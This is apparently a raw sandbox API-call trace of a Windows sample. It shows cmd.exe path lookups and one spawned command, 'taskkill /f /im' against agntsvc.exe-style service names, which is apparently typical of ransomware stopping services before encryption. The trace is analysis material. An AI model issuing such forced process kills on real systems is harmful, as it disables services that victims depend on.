	[0040.042] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x12449ef8 | out: lpFileInformation=0x12449ef8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.042] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.042] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12449f48 | out: lpFileInformation=0x12449f48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.043] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.043] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12449f98 | out: lpFileInformation=0x12449f98*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.043] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.043] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x1249e008 | out: lpFileInformation=0x1249e008*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.043] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.043] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x1249e058 | out: lpFileInformation=0x1249e058*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.043] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.043] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x1249e0a8 | out: lpFileInformation=0x1249e0a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.043] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.043] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x1249e0f8 | out: lpFileInformation=0x1249e0f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.043] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.043] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x1249e148 | out: lpFileInformation=0x1249e148*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.043] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.044] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x1249e198 | out: lpFileInformation=0x1249e198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.044] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.044] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x1249e1e8 | out: lpFileInformation=0x1249e1e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.044] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.044] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x1249e238 | out: lpFileInformation=0x1249e238*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.044] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.044] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124411e0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.044] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249e288 | out: lpFileInformation=0x1249e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0040.044] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124412b0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.044] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1249e2d8 | out: lpFileInformation=0x1249e2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0040.044] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0040.044] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123edaa4 | out: lpMode=0x123edaa4) returned 0
	[0040.045] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4
	[0040.045] GetConsoleMode (in: hConsoleHandle=0xb4, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0040.045] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0
	[0040.045] GetConsoleMode (in: hConsoleHandle=0xb0, lpMode=0x123edaa8 | out: lpMode=0x123edaa8) returned 0
	[0040.045] GetEnvironmentStringsW () returned 0x7eb348*
	[0040.045] FreeEnvironmentStringsW (penv=0x7eb348) returned 1
	[0040.045] GetCurrentProcess () returned 0xffffffff
	[0040.046] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4210, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4210*=0xc4) returned 1
	[0040.046] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4214, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4214*=0xc8) returned 1
	[0040.046] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xb0, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x124a4218, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0x124a4218*=0xac) returned 1
	[0040.046] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c \"taskkill /f /im agntsvc.exeencsvc.exe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x400, lpEnvironment=0x12477400, lpCurrentDirectory=0x0, lpStartupInfo=0x123edacc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac), lpProcessInformation=0x123edaa8 | out: lpCommandLine="cmd.exe /c \"taskkill /f /im agntsvc.exeencsvc.exe \"", lpProcessInformation=0x123edaa8*(hProcess=0xbc, hThread=0xb8, dwProcessId=0x99c, dwThreadId=0xa28)) returned 1
	[0040.053] CloseHandle (hObject=0xb8) returned 1
	[0040.053] CloseHandle (hObject=0xac) returned 1
	[0040.053] CloseHandle (hObject=0xc8) returned 1
	[0040.053] CloseHandle (hObject=0xc4) returned 1
	[0040.053] CloseHandle (hObject=0xc0) returned 1
	[0040.053] CloseHandle (hObject=0xb4) returned 1
	[0040.053] CloseHandle (hObject=0xb0) returned 1
	[0040.053] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0xffffffff) returned 0x0
	[0040.503] SetEvent (hEvent=0xa8) returned 1
	[0040.503] GetExitCodeProcess (in: hProcess=0xbc, lpExitCode=0x123edbdc | out: lpExitCode=0x123edbdc*=0x80) returned 1
	[0040.503] GetProcessTimes (in: hProcess=0xbc, lpCreationTime=0x12483320, lpExitTime=0x12483328, lpKernelTime=0x12483330, lpUserTime=0x12483338 | out: lpCreationTime=0x12483320, lpExitTime=0x12483328, lpKernelTime=0x12483330, lpUserTime=0x12483338) returned 1
	[0040.504] CloseHandle (hObject=0xbc) returned 1
	[0040.504] SetEvent (hEvent=0x80) returned 1
	[0040.504] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x5) returned 0x102
	[0040.505] SetEvent (hEvent=0x80) returned 1
	[0040.505] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x124095f0, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0040.505] GetFileAttributesExW (in: lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496788 | out: lpFileInformation=0x12496788*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.505] CreateFileW (lpFileName="cmd.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.505] GetFileAttributesExW (in: lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), fInfoLevelId=0x0, lpFileInformation=0x124967d8 | out: lpFileInformation=0x124967d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.505] CreateFileW (lpFileName="cmd.exe.com" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.505] GetFileAttributesExW (in: lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496828 | out: lpFileInformation=0x12496828*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.505] CreateFileW (lpFileName="cmd.exe.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.505] GetFileAttributesExW (in: lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), fInfoLevelId=0x0, lpFileInformation=0x12496878 | out: lpFileInformation=0x12496878*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.505] CreateFileW (lpFileName="cmd.exe.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.505] GetFileAttributesExW (in: lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), fInfoLevelId=0x0, lpFileInformation=0x124968c8 | out: lpFileInformation=0x124968c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.505] CreateFileW (lpFileName="cmd.exe.cmd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.506] GetFileAttributesExW (in: lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), fInfoLevelId=0x0, lpFileInformation=0x12496918 | out: lpFileInformation=0x12496918*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.506] CreateFileW (lpFileName="cmd.exe.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.506] GetFileAttributesExW (in: lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), fInfoLevelId=0x0, lpFileInformation=0x12496968 | out: lpFileInformation=0x12496968*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.506] CreateFileW (lpFileName="cmd.exe.vbe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.506] GetFileAttributesExW (in: lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), fInfoLevelId=0x0, lpFileInformation=0x124969b8 | out: lpFileInformation=0x124969b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.506] CreateFileW (lpFileName="cmd.exe.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.506] GetFileAttributesExW (in: lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), fInfoLevelId=0x0, lpFileInformation=0x12496a08 | out: lpFileInformation=0x12496a08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.506] CreateFileW (lpFileName="cmd.exe.jse" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.506] GetFileAttributesExW (in: lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), fInfoLevelId=0x0, lpFileInformation=0x12496a58 | out: lpFileInformation=0x12496a58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.506] CreateFileW (lpFileName="cmd.exe.wsf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.506] GetFileAttributesExW (in: lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), fInfoLevelId=0x0, lpFileInformation=0x12496aa8 | out: lpFileInformation=0x12496aa8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.506] CreateFileW (lpFileName="cmd.exe.wsh" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.506] GetFileAttributesExW (in: lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), fInfoLevelId=0x0, lpFileInformation=0x12496af8 | out: lpFileInformation=0x12496af8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0040.506] CreateFileW (lpFileName="cmd.exe.msc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cmd.exe.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff
	[0040.507] GetEnvironmentVariableW (in: lpName="path", lpBuffer=0x124096c0, nSize=0x64 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0040.507] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe"), fInfoLevelId=0x0, lpFileInformation=0x12496b48 | out: lpFileInformation=0x12496b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdd4861, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bdd4861, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bdd4861, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x49e00)) returned 1
	[0040.507] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x12409790, nSize=0x64 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
